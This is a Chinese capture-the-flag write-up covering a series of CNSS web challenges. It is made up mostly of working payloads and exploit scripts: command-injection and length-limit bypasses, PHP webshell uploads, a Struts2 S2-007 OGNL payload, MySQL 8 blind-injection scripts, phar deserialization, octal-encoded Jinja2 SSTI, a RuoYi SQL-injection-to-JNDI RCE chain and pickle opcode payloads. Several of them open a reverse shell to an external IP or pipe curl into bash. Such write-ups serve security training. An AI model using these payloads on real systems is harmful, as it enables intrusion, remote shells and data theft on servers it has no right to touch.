文章首发于【先知社区】:https://xz.aliyun.com/t/15586
babyHTTP
开题,Http传参问题
GET:
?CNSS=hackers
POST:
web=fun
Cookie:
admin=true
PHPinfo
开题
根据题目描述,猜测phpinfo.php
文件有东西。
phpinfo里面包含了php环境绝大部分信息,当然也有flag
我得再快点
开题,一秒一遍,写自动化脚本吧
脚本思路:
获取key,md5加密,发送到/check?value=
from selenium import webdriver
from selenium.webdriver.common.by import By
import hashlib
import requests
import time
# 定义要请求的URL
url = 'http://152.136.11.155:10103/'
url_check = 'http://152.136.11.155:10103/check'
# 定义定时刷新的时间间隔(以秒为单位)
refresh_interval = 1 # 1秒
def get_key():
try:
driver.get(url)
time.sleep(1) # 等待页面加载
key_element = driver.find_element(By.XPATH, "//p[contains(text(),'Key :')]")
key_text = key_element.text
key = key_text.split('Key : ')[1]
return key
except Exception as e:
print(f"Failed to fetch key from page: {e}")
return None
def md5_encrypt(key):
md5_hash = hashlib.md5()
md5_hash.update(key.encode('utf-8'))
return md5_hash.hexdigest()
def send_encrypted_key(encrypted_key):
try:
response = requests.get(url_check, params={'value': encrypted_key})
response.raise_for_status()
print(f"Response from /check: {response.text}")
except requests.RequestException as e:
print(f"Failed to send encrypted key: {e}")
if __name__ == "__main__":
driver = webdriver.Chrome()
try:
while True:
key = get_key()
print(key)
if key:
encrypted_key = md5_encrypt(key)
send_encrypted_key(encrypted_key)
time.sleep(refresh_interval)
finally:
driver.quit()
Ping
开题,是自动ping一个ip然后返回结果
nl2br是一个格式整理函数,在字符串中的新行(\n)之前插入换行符
这个ping函数查不到,应该是自定义函数。这题感觉猜测是在函数内部执行了ping命令,应该是用分隔符去截断做。
分隔符被过滤了|
、;
、&
还能用%0a
ip=127.0.0.1%0als
控股也被过滤了,用%09也就是tab绕过,读一下源码
ip=127.0.0.1%0acat%09index.php
<?php
function validate_input($input) {
$invalid_chars = array("sh","bash","chown"," ", "chmod", "echo", "+", "&",";", "|", ">", "<", "`", "\\", "\"", "'", "(", ")", "{", "}", "[", "]");
foreach ($invalid_chars as $invalid_char) {
if (strpos($input, $invalid_char) !== false) {
return false;
}
}
if (preg_match("/.*f.*l.*a.*g.*/", $input)) {
return false;
}
return true;
}
function ping($ip_address) {
if (!validate_input($ip_address)) {
return "Error: Invalid input.";
}
$cmd = "ping -c 2 " .$ip_address;
exec($cmd, $output, $return_code);
if ($return_code !== 0) {
echo("Error: Failed to execute command.");
}
return implode("\n", $output);
}
if (isset($_POST['ip'])) {
$ip = $_POST['ip'];
$ping_result = ping($ip);
echo nl2br($ping_result); // 输出ping结果并保留换行
}
?>
payload:
ip=127.0.0.1%0acat%09/f*
linux常用命令合集:
ls ##查看目录
ls / ##列出根目录(\)下的所有目录:
echo `tac% fla*`; ##反字节符
cp fl*g.php a.txt ##将flag.php拷贝到a.txt
cd ..或者cd ../ ##达到访问上一个目录的目的##../和~/是目录跳转符
tac ##tac flag 反序输出文件内容
cat ##
tac /flag ##抓在根目录的flag
find / -name fla* ##找到文件名匹配fla*的文件
tac/cat $(find / -name fla*) ##打印所有文件名匹配fla*的文件
find /html/WWW/ -name fla* :在某目录下查找包含fla*的文件
find / -type f -exec grep -Hn "flag{" {} \;
dir / 查看根目录
find / -user root -perm -4000 -print 2>/dev/null #查看suid权限文件
---------------------------------------------------------------------
mv fl?g.php 1.txt ##将flag.php改名为1.txt
cp fla?.??? 1.txt ##将flag.php复制给1.txt
nl flag.php>x.txt
tee file1.txt file2.txt //复制文件
tac /f149_15_h3r3|tee 2
awk '/xxx/' fla?.php ##输出flag文件中包含字符xxx的行
awk '/xxx/{print}' fla?.php ##输出flag文件中包含字符xxx的行
?c=grep 'ctfshow' flag.php
(在 fl???php匹配到的文件中,查找含有ctfshow的文件,并打印出包含 ctfshow 的这一行)
cat `ls` ##直接将当前目录下所有文件打印出来,先执行反引号
#cat `ls`->cat 当前所有文件名->当前目录下所有文件打印出来
system("cat flag.php|base64") //把flagbase64编码后输出system("base64 flag.php") //把flagbase64编码后输出
--------------------------------------------------------------------
在linux中与cat有类似功能的有如下字符
cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev、awk
more:一页一页的显示档案内容 more flag.php
less:与 more 类似 less flag.php
head:查看头几行 head flag.php
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行 tail flag.php
nl:显示的时候,顺便输出行号 nl flag.php
od:以二进制的方式读取档案内容 od flag.php
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看 sort flag.php
uniq:可以查看
file -f:报错出具体内容
rev:将文件倒序输出。
strings:strings flag.php
grep:在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
-----------------------------------------------------------------------
CNSS娘の宠物商店
开题,需要登录。(前端好看
模糊字典测一下,发现登录处存在sql注入。
结合题目描述猜测是用万能密码进行登录。
2048
一眼前端游戏题
ban了 F12、Ctrl+U。鼠标表点击谷歌开发者工具就行。
源代码里面搜索alert、score、flag、cnss。有score也就是记录分数的变量。
开启一局游戏,随便玩几下
然后控制台输入score=9999999999999999999999
修改分数
点击flag拿flag。
看得出来flag是alert出来的,源码看看flag如何出来的
有一个getflag函数,进行了加密(混淆)
换个头像先
应该是个文件上传。开题需要登录
注册个账号然后登录
更换头像,抓包。前端限制了后缀,上传个jpg后缀的php木马上去
改成php后缀
没给上传到哪的路径,不急,Ctrl+U前端源码看看
点击访问
已经tac到了flag
can can need shell
开题,直接给了源码
是个文件上传,后缀和内容均有过滤。题目没有上传按钮,应该是我自己写一个html表单上传,注意name="uploaded_file"
<form action="http://152.136.11.155:10108/" enctype="multipart/form-data" method="post" >
<input name="uploaded_file" type="file" />
<input type="submit" type="gogogo!" />
</form>
抓个包慢慢调,后缀是php确定了,其他后缀不解析,看看内容怎么绕过滤
内容过滤是这些:
$dangerous = array('eval',"[","]","`","*","+","|","url","flag","{","}","@","(",")");
呜,过滤了括号我很难做阿,难做那就别做了(bushi
首要思路是找个可以不用括号的函数,看下图你应该懂我意思了吧
include不用括号也行,同时只包含内容不管后缀即文件种类
那我们上传一个带马的jpg。
------WebKitFormBoundary6ofY3JQEOAOo4nWV
Content-Disposition: form-data; name="uploaded_file"; filename="myshell.jpg"
Content-Type: application/octet-stream
<?php eval($_POST[1]);echo 'include success!!!'?>
------WebKitFormBoundary6ofY3JQEOAOo4nWV--
然后上传一个php去包含之前的jpg
------WebKitFormBoundary6ofY3JQEOAOo4nWV
Content-Disposition: form-data; name="uploaded_file"; filename="myshell.php"
Content-Type: application/octet-stream
<?php
include '../a3a3ba08c46190b5eb693450637552d5/c8f8f62b73b118b60546893b80b08a48.jpg';
echo 'this is include';
?>
------WebKitFormBoundary6ofY3JQEOAOo4nWV--
访问一下,从echo来看包含成功了,getshell就行
此外还有一个payload,上传一个文件就行:
<?php
include"php://filter/convert.base64-encode/resource=/fl"."ag";
EZRCCCCE
开题,直接给了源码
<?php
highlight_file(__FILE__);
$sandbox = './sandbox/' . md5("Th1s_is_4_sandbox" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
function filter($a){
$a = preg_replace("/(flag|\*|\/|cat|php|bash|txt|tac)/i", "hehehehe", $a);
return $a;}
if (isset($_GET['6']) && strlen($_GET['6']) < 8) { //try to keep fit!
echo(exec(filter($_GET['6'])));
}
?>
限制了输入的长度、具备少量WAF。
WAF绕过不难,最容易想到的就是同义替换或者base64
主要是思考如何突破长度限制
在linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加 \
,可以将一条命令写在多行
比如我们有一个test文件内容如下:
ec\
ho \
hello \
world!
然后我们用sh命令来执行一下,成功输出了 hello world
sh test
在linux中,我们使用ls -t
命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)
touch a
touch b
touch c
ls -t
ls -t
命令列出文件名,然后每个文件名按行储存,如果我们将我们要执行的命令拆分为多个文件名,然后再结合命令换行,然后通过 ls -t > test
这样的方式再写入某个文件来运行不就可以绕过命令长度限制了吗,而且从上面我们可以看出,ls -t>test
的执行顺序是先创建文件test,然后执行ls -t
,然后将执行结果写入test文件
ls -t>test
cat test
> "rld"
> "wo\\"
> "llo \\"
> "he\\"
> "echo \\"
ls -t > _
sh _
这里使用了两个 \
是因为我们需要转义掉多行命令的换行,如果我们只使用一个 \
那么就会被误解为正在多行执行命令,就会出现下面这种情况:
输入通配符*
,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数
>id
>root
*
讲清楚原理后开始做题。
pwd
查看当前可写入的目录
#写入语句
<?php eval($_GET[1]);
#base64编码后
PD9waHAgZXZhbCgkX0dFVFsxXSk7
#需要被执行的语句:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
依次输入:
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
nl 0
sh 0
或者:
>dir
>f\>
>ht-
>sl
*>v
>rev
*v>0
>a
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh 0
sh f
脚本:
import requests
url = "http://152.136.11.155:10109/?6={0}"
cookies = {"PHPSESSID": "1be0406b25e76622ec8aece860d13e82"} # 添加PHPSESSID cookie
print("[+] Start attack!!!")
with open("results.txt", "r") as f:
for i in f:
print("[*] " + url.format(i.strip()))
requests.get(url.format(i.strip()), cookies=cookies) # 传入cookies
# 检查是否攻击成功
test = requests.get("http://152.136.11.155:10109/sandbox/85323d93cc57664e7b283ecce923a707/1.php", cookies=cookies) # 传入cookies
if test.status_code == requests.codes.ok:
print("[*] Attack success!!!")
访问/sandbox/85323d93cc57664e7b283ecce923a707/1.php?1=system('ls /');
getshell
结尾再放一下其他的payload:
空格需要转义
>\ \\
构造空格就用去了五个字符,反弹shell语句里面有两个空格,而相同的文件名只能有一个,因此这里不能直接执行bash反弹shell
那么通过将反弹语句放在vps上,然后通过如下方式来执行:
curl ip地址|bash
我们先在自己的vps新建一个文件,内容为
bash -i >& /dev/tcp/124.71.147.99/1717 0>&1
因为ls -t>_
的长度也大于5,所以要要把ls -t>y
写入文件
ls命令排序的规则是空格和符号最前,数字其次,字母最后
参考以下脚本写法:
#encoding:utf-8
import requests
baseurl = "http://120.79.33.253:9003/?cmd="
s = requests.session()
# 将ls -t 写入文件_
list=[
">ls\\",
"ls>_",
">\ \\",
">-t\\",
">\>y",
"ls>>_"
]
# curl 120.79.33.253|bash
list2=[
">bash",
">\|\\",
">53\\",
">2\\",
">3.\\",
">3\\",
">9.\\",
">7\\",
">0.\\",
">12\\",
">\ \\",
">rl\\",
">cu\\"
]
for i in list:
url = baseurl+str(i)
s.get(url)
for j in list2:
url = baseurl+str(j)
s.get(url)
s.get(baseurl+"sh _")
s.get(baseurl+"sh y")
Tomcat?cat~
估计是java题,开题
源码发现是struts2的漏洞
结合登录框特征,应该是S2-007,在age处注入Payload
/user.action
POST:
name=&email=&age=%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjQuNzEuMTQ3Ljk5LzE3MTcgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27%29.getInputStream%28%29%29%29+%2B+%27
flag在/usr/local/tomcat/webapps/flaaaaaaag/flag.jsp
newsql
开题,id应该是注入点了
存在过滤
模糊测试测一下,响应大小为7的都是被过滤的
过滤如下
;
select
union
where
order
having
闭合为空,数字型
/?id=1 and 1=1--+
/?id=1 and 1=2--+
MYSQL8.0新特性注入
Pwnhub2021七月赛NewSql(mysql8注入)_mysql8.0新特性注入ctf-CSDN博客
MYSQL8.0注入新特性 - 先知社区 (aliyun.com)
【网安干货】MySQL8新特性注入技巧_mysql8.0.19还是8.0.21-CSDN博客
先手动盲注一下,可行
?id=1 and substr((database()),1,4)='cnss'
?id=1 and ((binary'mysqk','')<(table/**/information_schema.TABLESPACES_EXTENSIONS/**/limit/**/0,1))#
写个自动化脚本:(没写完)
import requests
url="http://152.136.11.155:10111"
flag=""
for i in range(100):
for j in "!#$%&()*+,-/0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~":
# payload = "1 and ((binary'{}','')<(table information_schema.TABLESPACES_EXTENSIONS limit 7,1))#".format(flag+j)
payload = "1 and (('def','cnss','{}',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)<(table information_schema.tables limit 8,1))#".format(flag+j)
# payload = "1 and if(('def','cnss','{}',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)<(TABLE information_schema.tables limit {},1),0,1)"
# payload = "1 and ('def','cnss','cn55','{}',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)<(TABLE cn55 limit {},1)".format(flag+j,i)
# payload = "1 and (('1',binary'{}')<(table cnss.cn55 limit 0,1))#".format(flag+j)
data={
'id':payload
}
# r = requests.post(url=url, data=data)
r = requests.get(url=url, params=data)
# print(payload)
# print(flag+j)
# print(len(r.text))
# print(r.text)
if len(r.text) == 102:
flag += chr(ord(j)-1)
print(flag)
break
if j == "~":
flag = flag[:len(flag)-1]+chr(ord(flag[-1])+1)
print(flag)
exit()
#库/表:mysql,innodb_system,innodb_temporary,innodb_undo_001,innodb_undo_002,sys/sys_config,cnss/users,cnss/cn55,cnss/uagents,cnss/referers
where is my unserialize?
开题,三个功能点:
文件读取
文件上传
可读取文件:
index.php
base.php
function.php
class.php
upload_file.php
file.php
upload_file.php有文件上传,file.php可以文件读取,class.php有恶意类。
phar反序列化包包的。
class.php
<?php
class CNSS
{
public $shino;
public $shin0;
public $name;
public function __construct($name)
{
$this->name=$name;
}
public function __wakeup()
{
$this->shin0 = 'cnss';
$this->_sayhello();
}
public function _sayhello()
{
echo ('<h1>I know you are in a hurry, but don not rush yet.<h1>');
}
public function __destruct()
{
$this->shin0 = $this->name;
echo $this->shin0.'<br>';
}
}
class CN55
{
public $source;
public $params;
public function __construct()
{
$this->params = array();
}
public function __invoke()
{
return $this->_get('key');
}
public function _get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
class Show
{
public $key;
public $haha;
public function __construct($file)
{
$this->key = $file;
echo $this->key.'<br>';
}
public function __toString()
{
$func = $this->haha['hehe'];
return $func();
}
public function __call($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('<h1>hackerrrrrr!<br>join CNSS~<h1>');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { //Do you know 'Php ARchive'?
echo "hacker~";
$this->source = "index.php";
}
}
}
?>
反序列化链:
CNSS::__construct($name)->CNSS::__destruct()->Show::->__toString()->CN55::__invoke()->CN55::_get($key)->CN55::file_get($value)
生成phar:
<?php
class CNSS
{
public $shino;
public $shin0;
public $name;
public function __construct($name)
{
$this->name=$name;
}
public function __wakeup()
{
$this->shin0 = 'cnss';
$this->_sayhello();
}
public function _sayhello()
{
echo ('<h1>I know you are in a hurry, but don not rush yet.<h1>');
}
public function __destruct()
{
$this->shin0 = $this->name;
echo $this->shin0.'<br>';
}
}
class CN55
{
public $source;
public $params;
public function __construct()
{
$this->params = array();
}
public function __invoke()
{
return $this->_get('key');
}
public function _get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
class Show
{
public $key;
public $haha;
public function __construct($file)
{
$this->key = $file;
echo $this->key.'<br>';
}
public function __toString()
{
$func = $this->haha['hehe'];
return $func();
}
public function __call($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('<h1>hackerrrrrr!<br>join CNSS~<h1>');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { //Do you know 'Php ARchive'?
echo "hacker~";
$this->source = "index.php";
}
}
}
//CNSS::__construct($name)->CNSS::__destruct()->Show::->__toString()->CN55::__invoke()->CN55::_get($key)->CN55::file_get($value)
$Jay17=new Show('j47');
$a=new CNSS($Jay17);
$Jay17->haha['hehe']=new CN55();
$Jay17->haha['hehe']->params['key']='file:///var/www/html/f1ag.php';
//删除原来的phar包,防止重复
//@unlink("xxx.phar");
//后缀名必须为phar
$phar = new Phar("xxx.phar");
$phar->startBuffering();
//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");
//将自定义的meta-data存入manifest
$phar->setMetadata($a);
//添加要压缩的文件,这个文件没有也没关系,走个流程
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
echo "done.";
修改后缀后上传
翻翻源码看一下上传文件的存储位置。phar协议解析就行。
/file.php?file=phar:///var/www/html/upload/a976285aa6d6096e9edd17db289a73a9.jpg
CNSS娘の聊天室
开题,输入什么输出什么,怀疑是SSTI
后端是python,测一下Jinja2
{{7*7}}
还真有
试一试最原始的payload。看看是不是上过滤了
{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
发现英文被过滤了。。。只过滤了26个字母,英文符号没事
思路是用八进制代替英文字母,unicode和十六进制都会有英文出现。
原始payload:
{{''.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
转八进制
.__class__转为['XXXXXX']
[0]不动
()不动
['eval']转为['XXXXXX']
('__import__("os").popen("ls /").read()')转为('XXXXXX')
payload:
{{''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\163\137\137'][0]['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[133]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\145\166\141\154']('\137\137\151\155\160\157\162\164\137\137\050\042\157\163\042\051\056\160\157\160\145\156\050\042\154\163\040\057\042\051\056\162\145\141\144\050\051')}}
读取flag
{{''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\163\137\137'][0]['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[133]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\145\166\141\154']('\137\137\151\155\160\157\162\164\137\137\050\042\157\163\042\051\056\160\157\160\145\156\050\042\143\141\164\040\057\146\061\061\061\061\061\061\061\061\061\061\061\061\061\061\061\064\147\056\164\170\164\042\051\056\162\145\141\144\050\051')}}
没有人比我更懂RuoYi
看题目描述,若依的版本是v4.7.7,屏蔽定时任务bean违规的字符但是没屏蔽干净,造成了漏洞。
尝试了一下4.7.6 版本 任意文件下载漏洞,已经失效了。
参考文章:
若依4.7.8版本计划任务rce复现_若依计划任务rce-CSDN博客
POC/RuoYi/RUOYI-v4.7.8存在远程代码执行漏洞.md at main · wy876/POC · GitHub
这题有师傅写wp了,写的很好:ruoyi-v4.7.8-RCE分析 - EddieMurphy’s blog (eddiemurphy89.github.io)
开始做题。
第一步是计划任务sql注入
先验证一下4.7.8计划任务sql注入
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'test~' WHERE job_id = 1;')
payload中的sql语句以及被执行,作用是修改id为1的计划任务的值为test~
。验证成功
第二步是计划任务命令执行
开启监听验证漏洞 payload:
javax.naming.InitialContext.lookup('ldap://124.71.147.99:1717')
将上面的payload进行十六进制编码:
0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F3132342E37312E3134372E39393A313731372729
将编码后的payload带入下面的payload中:
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F3132342E37312E3134372E39393A313731372729 WHERE job_id = 2;')
上面payload的作用是利用之前的sql注入漏洞,修改job_id为2的计划任务内容,将该计划任务执行的命令改为我们构造好的payload。
更多操作->执行一次id为2的任务,收到监听
rce可行。我们接下来使用JNDI反弹shell。
先下好工具:https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/releases
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzEuMTQ3Ljk5LzE3MTcgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 124.71.147.99
javax.naming.InitialContext.lookup('ldap://124.71.147.99:1389/remoteExploit8')
0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F3132342E37312E3134372E39393A313338392F72656D6F74654578706C6F6974382729
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F3132342E37312E3134372E39393A313338392F72656D6F74654578706C6F6974382729 WHERE job_id = 3;')
结尾列一下若依的历史漏洞
CNSS娘のFlag商店
开题,/code
路由下载源码
NAME = "Rich"
MONEY = 2000
def reset():
global NAME, MONEY
NAME = "Rich"
MONEY = 2000
# encoding: utf-8
import os
import pickle
import buyInfo
import flask
app = flask.Flask(__name__)
flag = os.environ.get('FLAG')
class Hi():
def __init__(self, name, money):
self.name = name
self.money = money
def __eq__(self, other):
return self.name == other.name and self.money == other.money
@app.route('/')
def index():
user = flask.request.args.get('user')
if user is None:
return 'View code in /code to buy flag.'
if 'R' in user.upper():
return '臭要饭的别挡我财路'
user = pickle.loads(user.encode('utf-8'))
print(user.name, user.money)
print(buyInfo.NAME, buyInfo.MONEY)
if user == Hi(buyInfo.NAME, buyInfo.MONEY):
buyInfo.reset()
return f'CNSS娘最喜欢富哥啦,这是你要的flag {flag}'
return '臭要饭的别挡我财路'
@app.route('/code')
def code():
file = 'code.zip'
return flask.send_file(file, mimetype='application/zip')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
核心代码是这段:
@app.route('/')
def index():
user = flask.request.args.get('user')
if user is None:
return 'View code in /code to buy flag.'
if 'R' in user.upper():
return '臭要饭的别挡我财路'
user = pickle.loads(user.encode('utf-8'))
print(user.name, user.money)
print(buyInfo.NAME, buyInfo.MONEY)
if user == Hi(buyInfo.NAME, buyInfo.MONEY):
buyInfo.reset()
return f'CNSS娘最喜欢富哥啦,这是你要的flag {flag}'
return '臭要饭的别挡我财路'
pickle.loads()
函数是漏洞点,pickle反序列化。其实有pickle反序列化直接弹shell就行,但是这里根着题目意思来。
__eq__(self, other)
方法在Python中是一个特殊的方法,用于定义当使用等号运算符(==
)比较两个类的实例时的行为。
如果你在类中实现了__eq__
方法,那么你就告诉Python,应该如何判断两个该类的实例是否相等。默认情况下,如果你没有定义__eq__
,两个类的实例只有在它们是内存中同一个对象时(即具有相同的身份)才会被认为是相等的。但是,如果你想根据某些属性来判断两个实例是否相等,就需要定义__eq__
方法。
在Hi
类中,__eq__
方法的定义如下:
def __eq__(self, other):
return self.name == other.name and self.money == other.money
这个方法用于比较两个Hi
类的实例(self
和other
)。它检查两个实例的name
和money
属性是否相等。如果它们都相等,则方法返回True
,表示这两个实例是相等的。否则,返回False
。
举个例子:
person1 = Hi("Alice", 100)
person2 = Hi("Alice", 100)
person3 = Hi("Bob", 200)
print(person1 == person2) # 这将打印True,因为name和money属性都相等
print(person1 == person3) # 这将打印False,因为name或money属性不相等
因此,__eq__
方法实际上是实现用户在自定义比较Hi
类的实例时,实现==
运算符的含义。
虽然这题和自助商店一样可以直接打RCE,但是我们还是做一下预期解。
预期解是我们序列化一个对象即可,name、money和buyInfo对象的name、money相等就行,
对象名字任意取,不用R。
可以先看一个test脚本:
import pickle
import os
class Person():
def __init__(self):
self.age = 18
self.name = "Pickle"
# def __reduce__(self):
# command = r"whoami"
# return (os.system, (command,))
p = Person()
opcode = pickle.dumps(p)
print(opcode)
P = pickle.loads(opcode)
print('The age is:' + str(P.age), 'The name is:' + P.name)
if 'R' in user.upper():
payload里面不能有R
字符,之前有想过不给用R那名字里面的Rich怎么办,后来发现不一定要直接传值。还记得c
指令码吗?它专门用来获取一个全局变量。
看0x07:从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 - 知乎 (zhihu.com)
payload:
(V\u0052\u0069\u0063\u0068%0aI2000%0ai__main__%0aHi%0a.
(i__main__%0AHi%0A(dS'money'%0AI2000%0AsS'name'%0AcbuyInfo%0ANAME%0Asb.
(i__main__%0AHi%0A(dS'money'%0AcbuyInfo%0AMONEY%0AsS'name'%0AcbuyInfo%0ANAME%0Asb.
CNSS娘の自助Flag商店
/code
路由可以拿到源码
NAME = "Rich"
MONEY = 2000
def reset():
global NAME, MONEY
NAME = "Rich"
MONEY = 2000
# encoding: utf-8
import pickle
import flask
import buyInfo
app = flask.Flask(__name__)
# flag is in /flag.txt
class Hi():
def __init__(self, name, money):
self.name = name
self.money = money
def __eq__(self, other):
return self.name == other.name and self.money == other.money
@app.route('/')
def index():
user = flask.request.args.get('user')
if user is None:
return 'View code in /code to buy flag.'
if 'R' in user.upper():
return '臭要饭的别挡我财路'
user = pickle.loads(user.encode('utf-8'))
if user == Hi(buyInfo.NAME, buyInfo.MONEY):
buyInfo.reset()
return '你说得对,但是上次CNSS娘被你骗了之后很伤心,把商店改成了自助flag商店,你得自己找flag'
return '臭要饭的别挡我财路'
@app.route('/code')
def code():
file = 'code.zip'
return flask.send_file(file, mimetype='application/zip')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
pickle反序列化。if 'R' in user.upper():
禁用了R字符。像[2021极客巅峰 opcode],参考文章:CTF题型 Python中pickle反序列化进阶利用&opcode绕过_ctf opcode-CSDN博客
这个有R被ban了
cos
system
(S'whoami'
tR.
下面两个都可以用
(S'bash -c 'sh -i >& /dev/tcp/124.71.147.99/1717 0>&1''
ios
system
.
(cos
system
S'bash -c 'sh -i >& /dev/tcp/124.71.147.99/1717 0>&1''
o.
payload:(要URL编码一下)
/?user=(S'bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F124.71.147.99%2F1717%200%3E%261''%0Aios%0Asystem%0A.